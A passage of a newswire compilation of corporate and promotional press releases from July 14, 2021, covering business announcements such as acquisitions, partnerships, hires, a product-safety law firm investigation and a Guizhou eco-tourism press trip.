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[July 14, 2021] Foreign Press: Nature is Treasure of Guizhou, China

GUIYANG, China, July 14, 2021 /PRNewswire/ -- Meandering slowly along Wu River by boat, the journalists were soaking up the sunshine on deck and admiring the ever-changing natural beauty on both sides. The stunning colors of the flowers blooming along the riverbank. And the cooler temperatures make exploring easier. From July 9th to July 13th, Huanqiu.com organized 2021 Eco Forum Global Guiyang Foreign Press Trip. The media personnel from Bloomberg, PR Newswire, All-Russia State Television and Radio Broadcasting Company, Russia Today, Polish Public Radio, Kyodo News, Weekly Toyo Keizai and other overseas media attended. During the trip, the journalists visited Bijie, Qianxi and Guiyang in Guizhou, where they witnessed the local ecological civilization construction, rural revitalization, red cultural construction and economic development. Among the destinations, the sailings on Wu River impressed many reporters. Alexander Balitskiy, a journalist from All-Russia State Television and Radio Broadcasting Company, told Huanqiu.com, "it was really interesting to cruise on Wu River. I can compare the beautiful scenery which I have seen on TV and that I would see here." In February 2021, President Xi Jinping observed Wu River, where he highlighted the importance of giving equal value to economic advancement and environmental protection. According to President Xi Jinping, "clear waters and green mountains are as good as mountains of gold and silver, and a good ecological environment is greatest competitive advantage."



In the same spirit, Guizhou has taken active measures to improve the water quality of the Wu River. To be specific, the local government passed laws to ban unsustainable aquaculture projects, treat phosphorus pollution, and effectively implement a River Chief System (RCS). In 2020, the average annual water quality of the mainstream of Wu River reached Class II for the first time, and the annual average concentration of phosphorus dropped by 93.0% compared to 2012. The previously polluted Wu River has been a mecca for tourists from across China and the world, contributing to the province's burgeoning tourism economy.

As Alexander told Huanqiu.com, "in Chinese, one of the meanings of Gui is expensive. I think in Guizhou, nature is an expensive thing, and it's a real treasure. The province can keep its nature on those conditions that were long, long ago. Guizhou can not only keep it, but also teach other provinces of China how to keep it." According to the local government, Guizhou's forest coverage rate reached 61.51%, the number of days with good air quality in cities above the county seat of the province reached 99.4%, and the good water quality rate of outbound sections of major rivers reached 100%. Lv Guodong from Russia Today said to Huanqiu.com, the breathtaking ecological environment is credited with the local government which advocates President Xi Jinping's concept of "clear waters and green mountains are as good as mountains of gold and silver". During China's 13th Five-Year Plan period, Guizhou has developed an environmental strategy, implemented large-scale ecological actions especially comprehensive management of rocky desertification and soil erosion. Guizhou has also continuously promoted Eco Forum Global Guiyang to become an important international platform. On the 2021 Eco Forum Global Guiyang on the theme of "Green and Low-carbon Development -- Fostering a Community of Life for Man and Nature", Li Zhanshu, member of the Standing Committee of the Political Bureau of the CPC Central Committee, chairman of the NPC Standing Committee, thought highly of Guizhou's ecological civilization construction. According to him, "Guizhou not only explores ecological civilization construction, but also benefits from the achievements of ecological civilization construction. The ecological civilization construction of Guizhou is a microcosm of China's achievements in ecological civilization construction." "China's modernization is a modernization of the harmonious coexistence of man and nature. We will uphold the concept of the community with a shared future for mankind and work with the international community to make positive contributions on addressing global climate and environmental challenges and maintaining the ecological safety of the earth," Li Zhanshu said. Shen Yiqin, Secretary of the CPC Guizhou Provincial Committee and chairwoman of the Standing Committee of the Guizhou Provincial People's Congress, said that Guizhou will consolidate the greatest development and competitive advantage on good ecological environment and strive to make new achievements in the construction of ecological civilization. As for the forum, Lin Chunyan from PR Newswire told Huanqiu.com, "The Eco Forum Global Guiyang 2021 is a great opportunity to share Guizhou's experiences, and serve as a platform to deepen cooperation with international organizations in environmental protection and carbon emissions reduction." View original content to download multimedia:https://www.prnewswire.com/news-releases/foreign-press-nature-is-treasure-of-guizhou-china-301333724.html SOURCE Huanqiu.com

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[July 14, 2021] Fractal Announces Launch of Crux Intelligence, the Next-Generation Business Intelligence Company That Puts AI in the Hands of Every Business User

NEW YORK, July 14, 2021 (GLOBE NEWSWIRE) -- Fractal, (fractal.ai), a global provider of artificial intelligence and advanced analytics solutions to Fortune 500 companies, today announced the launch of Crux Intelligence, a new provider of comprehensive Augmented Analytics products. Crux Intelligence brings together machine learning (ML) and natural language processing (NLP) technology to allow mid-to-large enterprise customers to easily uncover insights and derive business intelligence from their data. Crux Intelligence will be further powered by the roll-up of AI products and services recently acquired by Fractal.

In a data-driven economy, companies must compete not only on the depth and richness of their data intelligence, but the speed with which they can convert analysis into action. Crux Intelligences new suite of Augmented Analytics tools help businesses in logistics-heavy verticals like consumer-packaged goods, insurance, finance and retail to optimize for KPIs and proactively identify anomalies and bottlenecks.



Given the speed and complexity of todays data-driven economy, its essential that companies are able to predict changes within their business and understand the root cause of each change, said Kathy Leake, CEO of Crux Intelligence. Our new Augmented Analytics solutions make it easier and faster than ever for our business customers to gain immediate insights into their performance and develop an organization-wide culture of decision-making infomed by data. With support from Fractal and with the addition of the AI driven assets we are assembling, Crux will be well positioned to deliver leading edge data analytics tools for years to come.







Crux Intelligence dramatically simplifies the experience for business data analytics users, including revenue, innovation and information leaders, by providing automatic identification of changes within the companys KPIs. The platform relies on machine learning and a smart semantic layer to study each individual user, delivering constant improvements through tailored insights. Crux Intelligences NLP/ NLQ capabilities allow customers to ask questions of their data in simple, understandable language, putting the power of data analysis in the hands of every user. We are thrilled to be an anchor launch partner of Crux Intelligence, said Ganesh Sivakumar, Head of Data and Analytics at Reckitt ( ). Crux provides our business leaders with a more intuitive and easier to use interface that lets them quickly identify and diagnose potential business issues. Cruxs cutting-edge AI provides insights that translate into real business savings and opportunities for us and we look forward to further scaling our partnership.





The combination of AI and BI is extremely powerful and well poised for take-off with our customer base. Given our recent M&A activity in this space, a roll up of key assets around Crux Intelligence makes strategic sense said Srikanth Velamakanni, Co-founder, Group Chief Executive & Vice Chairman at Fractal. You can get personalized business insights in your hand, instantly through Crux Intelligence so it frees up your data science team to imagine the next big thing. Fractal has raised more than $300 million from private equity investors and has empowered 100+ Fortune 500 companies with its AI, data, and analytics-driven businesses. Fractal has been investing in incubating AI powered assets such as 1) Crux Intelligence as AI powered BI 2) Qure.ai assisting radiologists to make better diagnostic decisions, 3) Theremin.ai to improve investment decisions, and 4) Eugenie.ai to find anomalies in high-velocity data. Fractal has more than 2,300 employees across 16 global locations, including the United States, UK, Ukraine, India, and Australia.



About Crux Intelligence



Crux Intelligence is a next generation business intelligence company that helps eliminate friction between business leaders and their data. By using a combination of cutting-edge AI, cloud-based engineering and slick, intuitive UI, Crux Intelligence proactively identifies and diagnoses insights from enterprise data  and pushes it to the right user, right on time. Crux Intelligence also provides a simple interface for non-technical users to get answers to their most pressing business questions. Contact: Alexandra Levy

650-996-5758

alex@siliconalley-media.com



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[July 14, 2021] Generational Equity Advises South Florida Elevator Service in its Sale to American Elevator Group

Generational Equity, a leading mergers and acquisitions advisor for privately held businesses, is pleased to announce the sale of its client, South Florida Elevator Service to American Elevator Group. The acquisition closed July 1, 2021. Located in Miami, Florida, South Florida Elevator Service (SFES) specializes in affordable solutions for client's vertical conveyance needs. The Company offers a Preventive Monthly Maintenance Control Program (MMCP) with a job specific design, which keeps client's equipment in working and reliable condition. With the MMCP, SFES ensures clients that it will prevent unexpected elevator major repair expenses, as well as the liability of accidents. As its name suggests, SFES serves all areas in the South Florida Region from Key West to West Palm Beach. American Elevator Group (AEG), is a collection of well-established elevator service companies operating across the United States. The group features renowned brands such as D & D Elevator, Kencor Elevator, Jersey Elevator, and Unitec. AEG has developed a significant footprint in the elevator industry, and is in a continuous state of growth. President and CEO of SFES Emilio Paneca welcomed the investment from AEG, commenting "Although we are a relatively young business, now is the time to accelerate and capitalize on our growth opportunities. The strength and resources available to us through AEG will guarantee that we quickly achieve our true potential." Robert Schaeffer, CEO of D & D Elevator, who will be assisting Emilio and SFES Vice President Armando Amat, welcomed SFES to AEG, saying "I am excited we have been able to include SFES within our portfolio of the nation's best service operations. AEG acknowledges the potential for strong business development in Florida, and with SFES and other quality businesses that we expect to join us soon, we will continue to grow apace." Generational Equity Executive Managing Director, MA-Technology Practice Leader, David Fergusson, and his team led by Senior Managing Director of Mergers and Acquisitions, Terry Mackin, with the support of Vice President, Mergers & Acquisitions, Tristan Keeffe, successfully closed the deal. Senior Managing Director James Carr established the initial relationship with SFES.



"It took a big effort from the entire team to get this deal closed as quickly as we did," said Mackin. Mackin added, "And special thanks to Joe Delisle from the Atlanta office of Miller Martin LLP for his immediate attention and dedicated work to get this to the finish line in near record time!"

About Generational Equity Generational Equity, Generational Capital Markets (member FINRA/SIPC), Generational Wealth Advisors, Generational Consulting Group, and DealForce are part of the Generational Group, which is headquartered in Dallas and is one of the leading M&A advisory firms in North America. With over 250 professionals located throughout North America, the companies help business owners release the wealth of their business by providing growth consulting, merger, acquisition, and wealth management services. Their six-step approach features strategic and tactical growth consulting, exit planning education, business valuation, value enhancement strategies, M&A transactional services, and wealth management. The M&A Advisor named the company the 2017 and 2018 Investment Banking Firm of the Year and 2020 Valuation Firm of the Year. For more information, visit https://www.genequityco.com/ or the Generational Equity press room. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005099/en/

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[July 14, 2021] Gloat Hires Jeff Schwartz, Founding Partner of Deloitte's Future of Work Practice, as VP of Insights and Impact

Gloat, pioneers of the Talent Marketplace platform that is reinventing work and careers in global enterprises, today announced the appointment of Jeff Schwartz as VP of Insights and Impact. In this role, Schwartz will apply his extensive industry experience to help shape Gloat's product strategy moving forward, working closely with company leadership, customers and internal teams to drive the growth and expansion of the company's Talent Marketplace platform. This strategic hire comes at a time when the need to embrace new ways of working and orchestrating workforces has becoming clearer than ever before, and represents a perfect match of vision and impact: Schwartz has spent decades researching, developing and advocating for a vision of the future of work that Gloat aims to make a reality for companies around the world. "Jeff is an incredible subject matter expert and innovator who has had a front row seat to the changes that have transformed and shaped the modern workplace. In many ways, Jeff pioneered this market right alongside us; we both saw the need to unleash market dynamics within organizations to meet the challenges of the future of work," said Gloat CEO and Co-Founder Ben Reuveni. "We are so excited to combine forces and increase and accelerate the incredible impact of Jeff's work transforming organizations. We know our customers will benefit from the support of an expert who has decades-long experience advising industry leaders on innovative ways to solve their most complex challenges." Prior to joining Gloat, Schwartz was a principal with Deloitte (News - Alert) Consulting LLP for 20 years, most recently as the U.S. Leader for the future of work and as a senior partner in the firm's Global Human Capital executive since 2003. His leadership roles ave included global and U.S. marketing, eminence, and brand, leading the organization, change, and talent practices, and growing the firm's global delivery capabilities in India. Schwartz also has been a leading innovator and was the founding editor and a principal author of Deloitte's global human capital trends report since 2011 and the co-founder of Catalyst Tel Aviv, the firm's first global innovation tech hub. It was in Tel Aviv in 2016 that Schwartz first met the founders of Gloat while researching one of the first future of work start-up landscape surveys.



The challenges facing organizations today are timely, urgent and complex. Business leaders must find new ways to manage hybrid work models, unleash diversity, equity and inclusion for all employees, and most importantly, understand the needs of talent and provide every individual with the opportunity to experience choice and growth across an organization. In his work with Gloat, Schwartz is most excited by the opportunity to have a direct impact on how organizations tackle these challenges. "During the pandemic and the economic and social crises of the past 16 months, we all saw firsthand the amazing potential, resilience and adaptability of workers everywhere. We need to build on this to advance new mindsets, mental models and strategies to navigate 21st century work and careers - and one of the single most important and high-impact investments companies can make now to address this need is in talent marketplaces," said Schwartz. "I am thrilled to join Gloat as the pioneer and global leader in this space, and truly excited to see what we can accomplish together."

A renowned subject matter expert on work and workforce transformation, Schwartz published his first book on the topic - WORK DISRUPTED: Opportunity, Resilience, and Growth in the Accelerated Future of Work - in January. He has lived in and led consulting practices in the U.S., India, Israel, Belgium, Russia and Kenya. Schwartz has an MBA from the Yale School of Management and an MPA from Princeton's Graduate School of Public and International Affairs. He is an adjunct professor and visiting lecturer at Columbia's Graduate School of Business and Cornell Tech's MBA program. About Gloat Founded in 2015, Gloat is redefining the future of work with its mission to democratize career development, unlock skills and help enterprises build a future-proof workforce. It pioneered the AI-powered Talent Marketplace being used by the world's leading global enterprises today. The company was founded by Ben Reuveni, Amichai Schreiber and Danny Shteinberg and is based in New York, with offices across the globe and a large R&D center in Tel Aviv. www.gloat.com View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005272/en/

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[July 14, 2021] Govolution by Deluxe and Fulton Bank Announce Strategic Partnership

Deluxe, a Trusted Payments and Business Technology company, today announced that Govolution, its ePayment solutions entity aimed at government organizations, has formed a new partnership with Fulton Bank to provide payment technology solutions for the financial institution's government and municipal customers. This partnership with the Pennsylvania-based bank will focus on: Expanding consumer payment options with mobile, contactless and IVR solutions

Optimizing business operations through payment integrations

Providing comprehensive, consolidated business reporting to simplify account reconciliation and improve cash flow Govolution by Deluxe has a long history of developing payment solutions designed specifically for government organizations, including the first electronic payment engine for the United States Department of Treasury. Today, the company processes more than 1.4 million transactions per day for government entities across the country. Govolution's high standards surrounding innovative technology and data security are matched only by its commitment to superior customer service to maximize revenue of its clients. "We chose Govolution because of their expertise in and commitment to the government vertical. Govolution, like Fulton Bank, is customer centric, and both their innovative payment gateway and extensive range of self-service payment channels are designed with the client in mind," said Paul Czurylo, Commercial Product Team Leader at Fulton Bank. "There are dozens of payment processors, but when it comes to innovation, service and support, Govolution rises above the rest." "Govolution has invested heavily in technology, applying the highest standards to data security and creating payment solutions to help government organizations flourish in today's digital marketplace," said Mike LoMurro, President of Govolution by Deluxe. "This partnership underscores our reputation as a leader in payment technology and we are delighted that Fultn has chosen us as their preferred provider."



To learn more, please contact Terry McHugh, Director of Channel Sales, at tmchugh@govolution.com or 609-298-6023. About Govolution

Govolution, a wholly-owned subsidiary of First American Payment Systems acquired by Deluxe in June 2021, is a leader in ePayment solutions aimed at government organizations. The company developed and launched the first electronic payment engine for the United States Department of Treasury and subsequently deployed applications to more than 80 cabinet-level agencies. Govolution's proprietary processing platform, Velocity, is security certified with all major payment processors in the United States. Learn more at www.govolution.com. About Deluxe Corporation Deluxe, a Trusted Payments and Business Technology company, helping businesses pay, get paid, optimize and grow. For more than 100 years, Deluxe has championed businesses so communities thrive at all stages of their lifecycle, from start-up to maturity. Our powerful solutions support millions of small businesses, thousands of financial institutions and hundreds of the world's most valuable brands. The company operates at significant scale, processing more than $2.8 trillion in annual payment volume. To learn how we can help your business, visit us at www.deluxe.com, www.facebook.com/deluxecorp, www.linkedin.com/company/deluxe, or www.twitter.com/deluxe. About Fulton Bank Fulton Bank, N.A. is a subsidiary of Fulton Financial Corporation, a $25.2 billion financial holding company headquartered in Lancaster, PA. Fulton Bank operates more than 225 financial centers throughout Pennsylvania, New Jersey, Maryland, Delaware and Virginia. Learn more at FultonBank.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005178/en/

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[July 14, 2021] Hagens Berman: Law Firm Investigating Fatal Fisher-Price Rock 'n Glide Soothers Infant Sleep Products

Attorneys at Hagens Berman, a national consumer rights and personal injury law firm, have opened an investigation into infant deaths and injuries involving Fisher-Price's 4-in-1 Rock 'n Glide Soother and 2-in-1 Soothe 'n Play Glider. Consumers who have experienced issues or are concerned with the safety of their Fisher-Price sleep products are urged to contact Hagens Berman by emailing fisherprice@hbsslaw.com or by visiting hbsslaw.com/fisherprice. Approximately 120,000 4-in-1 Rock 'n Glide Soothers and 55,000 2-in-1 Soothe 'n Play Gliders were sold at juvenile product stores and mass merchandisers nationwide and online, including Amazon, Walmart and Target (News - Alert) from January 2014 through December 2020. Which Fisher Price Products Have Been Recalled? Hagens Berman believes that the 4-in-1 Rock 'n Glide Soother an 2-in-1 Soothe 'n Play Glider were defectively designed, and that Fisher-Price was negligent in testing and warning parents about the inherent risks of using the products for sleeping.



Fisher-Price has issued recalls for both of the baby sleep products, designed to mimic the motion of a baby being rocked in someone's arms. The recalls came after four infant deaths occurred, including a 4-month-old from Missouri, a 2-month-old from Nevada, a 2-month-old from Michigan and an 11-week-old from Colorado. Fisher-Price has sold many of the 4-in-1 Rock 'n Glide Soother and 2-in-1 Soothe 'n Play Glider products - some tens of thousands of units total over years - as is, leaving many infants at risk.

"Fisher-Price marketed its products as being a safe choice for families, parents and caretakers, yet at least these two models are now proven to be unsafe and potentially fatal," said Steve Berman, managing partner of Hagens Berman. "We believe those who have been affected deserve help and retribution for Fisher-Price having put profit over protection." Hagens Berman has a track record of protecting the safety of children and has active claims pending against Evenflo for unsafe toddler car seats, and Fisher-Price/Mattel Inc. for the recalled Rock-n-Play sleeper. Find out more about this investigation at hbsslaw.com/fisherprice. About Hagens Berman Hagens Berman Sobol Shapiro LLP is a consumer-rights class-action law firm operating in 10 cities worldwide. The firm's tenacious drive for plaintiffs' rights has earned it numerous national accolades, awards and titles of "Most Feared Plaintiff's Firm," MVPs and Trailblazers of class-action law. More about the law firm and its successes can be found at www.hbsslaw.com. Follow the firm for updates and news at @ClassActionLaw. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005080/en/

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[July 14, 2021] Hidalgo County Utilizes Netsmart ScheduleConnect to Optimize COVID-19 Vaccine Distribution

Netsmart announced the successful utilization of ScheduleConnect, a vaccination technology solution designed to efficiently assist healthcare agencies in the distribution, documentation and reporting for the COVID-19 vaccination, at Hidalgo County Health & Human Services, located in Southeastern Texas. Hidalgo County first announced the launch of their online registration to receive the COVID-19 vaccine at county-run clinics in late March. Through the county's partnership with Netsmart, Hidalgo County was able to launch the online portal to better facilitate coordination of vaccine distribution, control registration capacity and automate appointment openings for cancelations. "After the first week of using our online COVID-19 registration portal, we were able to facilitate nearly 4,000 vaccines and have seen significant improvements to our community clinics' distribution workflows," said Eduardo Olivarez, Chief Administrative Officer, Hidalgo County Health & Human Services. ScheduleConnect is a no-contact solution that allows for appointment scheduling to utilize data on location convenience, site capacity, phasing and prioritization following state and federal requirements. The web-based or mobile application portal is easily configurable, allowing staff to properly manage consumer registration, consent, insurance information, client confirmations, reminders, assessment screening and more. As an enhanced component of the Netsmart CareFabric platform, ScheduleConnect can run independently of a county or agency's electronic health record (EHR). The data collected on individuals can be exported and incorporated into an existing EHR. "The Netsmart team assisted our clinic sites in a rapid implementation of ScheduleConnect, a solution that was a clear need in our community, and ensured the solution was up-to-speed," said Olivarez. "We have seen major benefits in our vaccination clinics, especially time efficiencies for clinic and site administration staff and patients. By utilizing ScheduleConnect our staff eliminated up to three hours of prep work from manual scheduling and appointment wait-time was cut down from one hour to as fast as 15 minutes, improving patient satisfaction." The intuitive solution additionally helped Hidalgo Cunty Health & Human Services make informed decisions regarding site staffing through real-time monitoring of patient capacity and is expected to help increase the number of vaccinations distributed at each site.



"As Hidalgo County's long-time healthcare IT partner, we were excited to support their staff and community in their large-scale vaccination efforts to protect the community," said Netsmart CEO Mike Valentine. "COVID-19 has shed a light on public health and the safety of our communities, we are thrilled with the success of ScheduleConnect and together we will keep the momentum going to bettering the health and wellness of these communities." About Hidalgo County Health & Human Services

Hidalgo County is home to one of the fastest growing regions in the nation. We provide health and justice to the over 800,000 residents of our county. We strive to be accessible and responsive to our citizens by providing excellent public service through the values of leadership, transparency, fairness, collaboration, respect and fiscal responsibility. Follow our social media feed at www.co.hidalgo.tx.us/followus About Netsmart Netsmart, a leading provider of Software as a Service ( SaaS (News - Alert) ) technology and services solutions, designs, builds and delivers electronic health records (EHRs), health information exchanges (HIEs), analytics and telehealth solutions and services that are powerful, intuitive and easy-to-use. Our platform provides accurate, up-to-date information that is easily accessible to care team members in the human services and post-acute care (which is comprised of home care and hospice and senior living) markets. We make the complex simple and personalized so our clients can concentrate on what they do best: provide services and treatment that support whole-person care. By leveraging the powerful Netsmart network, care providers can seamlessly and securely integrate information across communities, collaborate on the most effective treatments and improve outcomes for those in their care. Our streamlined systems and personalized workflows put relevant information at the fingertips of users when and where they need it. For more than 50 years, Netsmart has been committed to providing a common platform to integrate care. SIMPLE. PERSONAL. POWERFUL. Our more than 2,400 associates work hand-in-hand with our 680,000+ users at our clients across the U.S. to develop and deploy technology that automates and coordinates everything from clinical to financial to administrative. Learn more about how Netsmart is changing the face of healthcare today. Visit www.ntst.com, call 1-800-472-5509, follow us on our CareThreads Blog, LinkedIn and Twitter, like us on Facebook or visit us on YouTube. Netsmart is pleased to support the EveryDayMatters Foundation, which was established for behavioral health, home care, senior living and social services organizations to learn from each other and share their causes and stories. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005372/en/

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[July 14, 2021] Huawei announces Seeds for the Future Program 2.0, planning to invest US$150 million in talent development over the next five years

MANILA, Philippines, July 14, 2021 /PRNewswire/ -- Huawei on Thursday announced its Seeds for the Future Program 2.0, through which Huawei plans to invest US$150 million in digital talent development over the next five years. This program is expected to benefit more than 3 million additional people. Huawei held a "Tech & Sustainability: Everyone's Included" forum, co-hosted by the International Union for Conservation of Nature (IUCN). Representatives from Huawei, IUCN, the World Economic Forum, Carbon Disclosure Project (CDP), Global Enabling Sustainability Initiative (GeSI), and Singapore Institute of International Affairs (SIIA) participated to discuss the role of technology in driving sustainability and building a more inclusive, eco-friendly world. Promoting equal access to education and talent development According to a 2020 report by UNICEF and the International Telecommunication Union (ITU), about 2.2 billion people aged 25 years or younger still lack internet connections at home. "Digital skills and literacy are not just the foundation for the digital economy; they are also a basic human right defined by the United Nations," said Huawei's Chairman Liang Hua at the forum. "Today we are announcing Huawei's Seeds for the Future Program 2.0. As part of our commitment to continuously developing talent, we will invest US$150 million in this program over the next five years and help college students and youg people improve their digital skills. This program is expected to benefit more than 3 million additional people."



Huawei is committed to helping develop digital talent in the countries where it operates. In 2008, Huawei began to roll out talent development programs, through scholarships, technology competitions, and digital skills training, and has invested more than US$150 million in these programs. Huawei has since benefited more than 1.54 million people from over 150 countries. As an echo for the forum, Huawei Asia Pacific held the APAC Media Virtual Roundtable with laser focus on addressing digital inclusion and sustainable development of this region. Jay Chen, Vice President of Huawei Asia Pacific, announced Huawei's plan to cultivate more than 400,000 ICT talent in the next five years through multiple programs including Seeds for the Future in the region.

"In the digital economy, digital talent is playing an increasingly important role in driving digital transformation and economic growth. The access to education is vital for creating opportunities that support sustainable and fair development. Due to the pandemic, we are moving the program online and opening it up to more outstanding students than ever before," said Jay Chen. Addressing environmental challenges and enabling green development Climate change and environmental issues are becoming global challenges. Though carbon emissions declined over the past year due to the economic slowdown and worldwide lockdowns, emissions are rapidly rebounding as economies reopen. Shifting to a circular economy and achieving sustainable development is now a common goal for all countries. "Green and sustainable development has become a top priority for global economies," said Liang. "Huawei has been leveraging its extensive experience in power electronics and energy storage as well as technical expertise in 5G, cloud, and AI, to develop its digital power business and provide digital power solutions for different industries. As of December 2020, Huawei's digital power products and solutions have generated 325 billion kWh of electricity from renewable sources, and saved a total of 10 billion kWh of electricity. These efforts have resulted in a reduction of 160 million tons in CO 2 emissions." In Singapore, for example, Huawei FusionSolar Solution has supported Sunseap Group, a solar energy solutions provider, to build the world's largest offshore floating Photovoltaic (PV) farms. With 13,312 solar panels, 40 inverters, and more than 30,000 floats, this five-hectare sea-based solar plant is estimated to produce up to 6,022,500 kWh of energy per year, supplying enough power for 1250 four-room public housing flats on the island and offsetting an estimated 4258 tons of carbon dioxide, according to Bruce Li, Managing Director of the Huawei Asia-Pacific Enterprise Digital Power Business. "We feel that over the last decade, ASEAN is shifting from a very defensive, negative footprint or standing to a much more forward leaning. I'm glad to hear that Huawei would be one of companies also doing their part, if not more, through their supply chain," said Associate Professor Simon Tay, Chairman of SIIA at the forum, "By working together, countries can mutually support one another to meet their sustainability commitments. There are many areas where digital technology can support this, such as in enabling a transparent and verifiable carbon market. Singapore's public and private sectors have expressed interest in working with its neighbors on climate action." SOURCE Huawei

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[July 14, 2021] Intrepid Acquires Fast-Growing C5ISR Firm Darkblade Systems

Intrepid Solutions and Services LLC, a leading provider of IT modernization, cybersecurity, analytics and advanced intelligence training services to customers across the U.S. intelligence community, announced today it has acquired intelligence solutions firm Darkblade Systems Corp. The acquisition nearly doubles Intrepid's size and further grows its ability to deliver advanced technology products and services to the IC. Intrepid is a portfolio company of Bluestone Investment Partners. "Welcoming Darkblade Systems into the Intrepid family is a transformative moment for us, one that will greatly benefit our customers, partners and entire team," said Ryan Hebert, CEO of Intrepid. "As many of our employees are veterans of the agencies we support, our teams share an ongoing commitment to serve the national security mission. Together, we look forward to harnessing the power of our combined organizational capabilities to help customers protect our warfighters and better secure our world." Darkblade Systems is a trusted provider of specialized capabilities to priority programs within the defense and intelligence communities. Founded in 2010, and with deep roots in signals intelligence, electronic warfare, cybersecurity, counter improvised explosive device and counter unmanned aircraft system domains, the firm delivers a wide range of scientific, engineering, technical, operational support and training services. "As our country faces increasing challenges and evolving threats in the area of electronic warfare and cybersecurity, we're doubling down on our dedication to finding innovative solutions to critical customer mission needs by joining forces with the Intrepid team," said Fred Starkey, CEO of Darkblade Systems. "Intrepid and Darkblade Systems have highly complementary capabilities in defense and intelligence technologies and services, and we look forward to working with our new team members to support the continued modernization and evolution of our nation's military systems."



Darkblade Systems has a strong internal research and development function. It specializes in supporting U.S. military laboratories, and more than 30% of its employees are FAA Part 107 certified drone pilots. Starkey also developed the initial prototype for the modern electronic warfare system WOLFHOUND, which was named a U.S. Army Invention of the Year. Darkblade is also a Cybersecurity Maturity Model Certification Registered Provider Organization and offers CMMC assessment services. Darkblade is currently a Certified Third-Party Assessor Organization candidate within the CMMC ecosystem.

"Our goal in strategically building out the Intrepid platform is to bring together the best people, technologies and services that can help serve our national security customers' greatest mission needs," said Dennis Kelly, executive chairman of Intrepid and Bluestone executive partner. "Considering the dynamic nature of today's threat landscape, we see some of the greatest needs being in cybersecurity, electronic warfare and unmanned systems. Together, Intrepid and Darkblade Systems are well positioned to be a game changer for customers in these mission-critical areas." A recognized fast-growing company, Darkblade Systems has ranked on the Inc. 5000 every year since 2016. The Winchester-based firm was also celebrated on the Virginia Fantastic 50 in 2016, 2017, 2018 and 2020. G Squared Capital Partners provided investment banking support to Darkblade Systems in the transaction with Intrepid. About Intrepid Solutions and Services, LLC Established in 2008, Intrepid is a leading provider of cybersecurity, intelligence and data analysis, technology modernization, and advanced intelligence training services to customers across the U.S. intelligence community. The company is headquartered in Herndon, Virginia. Learn more by visiting www.intrepidsolutions.com and follow us on LinkedIn, Facebook and Twitter. About Bluestone Investment Partners, LLC Bluestone Investment Partners is a private equity firm investing exclusively in lower middle-market companies in the defense and government services arena. Bluestone's principals have a long and successful track record owning, operating, investing in and advising companies in the defense and government services sector. Learn more about Bluestone by visiting www.bluestoneinv.com and follow us on LinkedIn. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005588/en/

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[July 14, 2021] MadCap Software Marks First Half of 2021 with Record Growth

San Diego, CA, July 14, 2021 (GLOBE NEWSWIRE) -- MadCap Software, Inc., the leader in multi-channel content authoring, today announced that the company has achieved record growth for the six months ending June 30, 2021, with a 44% increase in new product sales over the same time period in 2020. Today, thousands of organizations worldwide, spanning multiple industries, rely on MadCap Softwares solutions to create, publish and manage modern self-support websites, training content, technical documentation, knowledge bases, instruction manuals, and more. Leading the growth is the rapid adoption of the MadCap Authoring and Management system (AMS), which saw sales increase 236% over the same timeframe the prior year. Featuring MadCap Flare and MadCap Central, AMS provides a complete solution supporting the entire content development lifecycle including actionable usage analytics all while combining the security of on-premises authoring with the convenience of the cloud. Subscription pricing, which MadCap Software began rolling out for all new product releases in early 2020, has also seen strong growth. Revenue from new subscription sales for the first six months of 2021 have increased 154%, and now total recurring revenue accounts for 91% of total product sales. Notably, MadCap Software continues to recognize strong adoption of its solutions by organizations worldwide. For the six months ending June 30, 2021, MadCap Software reports that 250 ne organizations have adopted the companys award-winning solutions.



To better support its global customer base, MadCap Software added Aubrey Williams as vice president of sales in January 2021. Aubrey, who joined the company from Siemens Corporation, brings more than 20 years of experience in growing sales teams and revenues at leading technology firms, including a decade at Adobe Inc. MadCap Software also has expanded its San Diego, CA and Austin, TX officescapitalizing on the strong technical communities in both regions. From the start, weve put a priority on creating a superior experience for both our customers and the dedicated professionals on our team who support them, said Anthony Olivier, MadCap Software founder and CEO. The strong financial growth we are seeing in 2021 is a testament to our industry-first product innovations and exceptional support in serving organizations modern content development lifecycle needs. It has enabled us to achieve an intensely loyal customer base and rapid global adoption of our solutions, as well as support the expansion of our team to create best-in-class experiences for businesses, universities and governments worldwide.

Olivier added, More and more organizations are looking for ways to increase the efficiency of their content creation and publishing all while creating a better experience for their end-users. Whether delivering technical documentation or content for training, development, sales and marketing, our solutions result in real and measurable return on investment and results. About MadCap Software

MadCap Software, Inc. is a trusted resource for thousands of companies around the globe for single-source, multi-channel authoring and publishing solutions designed to streamline the process of developing and delivering training content, learning and development programs, technical documentation, online Help, knowledge bases, and more. MadCap Softwares services include product training, consulting services, translation and localization, and an advanced developer certification program. Headquartered in San Diego, California, with offices in Austin, Texas, MadCap Software is home to some of the most experienced software architects and product experts in the content development industry. Learn more about MadCap Software at www.madcapsoftware.com. MadCap Software, the MadCap Software logo, MadCap Authoring and Management System, MadCap Central, and MadCap Flare, are trademarks or registered trademarks of MadCap Software, Inc. in the United States and/or other countries. Other marks are the properties of their respective owners.

Rebecca Hurst Kinetic.PR for MadCap Software rebecca@kineticprllc.com 650-679-9282

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[July 14, 2021] MathWorks Deepens its Engagement with Greentown Labs, becomes its newest Terawatt Partner

SOMERVILLE, Mass., July 14, 2021 /PRNewswire/ -- Greentown Labs , the largest climatetech startup incubator in North America, today announced that MathWorks , the leading developer of mathematical computing software for engineers and scientists, has elevated its partnership with the incubator to the Terawatt Levelthe highest level of partnership at Greentown. MathWorks, headquartered in Natick, Massachusetts, has been a supportive partner of Greentown since 2014 when it launched its "MATLAB and Simulink for Startups" program, which provides free access to its software solutions for incubators and accelerators. Greentown was the first incubator partner in the program which has grown to support more than 400 startup incubators and accelerators around the world. "Greentown Labs was our first incubator partner and we have been fortunate to support many of its amazing startup companies. With the expansion of our partnership to the Terawatt level, we are excited to extend that support to more climatetech entrepreneurs including those in Greentown Labs' new Houston, Texas location," said David Rich, Director of MATLAB Product Marketing at MathWorks. "Startups are an engine of innovation. MathWorks and Greentown Labs are committed to helping startups innovate faster, reduce their risk through simulation, and ultimately grow into successful companies." Through the MATLAB and Simulink for Startups program, Greentown's startups receive free access to MATLAB, a programming and numeric computing platform used to analyze data, develop algorithms, and create models, and Simulink, a simulation environment for products and systems. 